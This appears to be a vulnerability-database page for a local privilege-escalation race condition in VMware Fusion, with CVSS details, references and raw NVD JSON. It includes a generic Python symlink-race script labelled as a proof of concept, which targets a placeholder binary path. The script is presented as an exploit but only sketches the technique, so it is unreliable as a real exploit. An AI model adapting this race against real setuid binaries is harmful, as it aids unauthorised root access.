CVE-2026-41702

Description

VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

VMware Fusion (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import time
import threading

# Exploit Concept for TOCTOU Vulnerability
# This script attempts to race between the check and use of a file.

TARGET_FILE = "/tmp/vmware_fusion_target"
MALICIOUS_FILE = "/tmp/malicious_payload"

def create_symlink():
    """Thread function to swap the file rapidly"""
    while True:
        try:
            os.remove(TARGET_FILE)
            os.symlink(MALICIOUS_FILE, TARGET_FILE)
        except:
            pass

if __name__ == "__main__":
    print("[*] Starting TOCTOU Exploit PoC for CVE-2026-41702")
    print("[*] Targeting SETUID binary operation...")
    
    # Start the race condition thread
    attacker_thread = threading.Thread(target=create_symlink)
    attacker_thread.daemon = True
    attacker_thread.start()
    
    # Simulate triggering the vulnerable binary operation
    # In a real scenario, this would call the vulnerable VMware binary
    for i in range(1000):
        os.system("/path/to/vulnerable/setuid/binary")
        
    print("[*] Exploit attempt finished.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41702
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41702
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41702/
[4] VulDB https://vuldb.com/cve/CVE-2026-41702
[5] https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/37454

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41702", "sourceIdentifier": "[email protected]", "published": "2026-05-15T07:16:18.923", "lastModified": "2026-05-15T14:11:57.190", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/37454", "source": "[email protected]"}]}}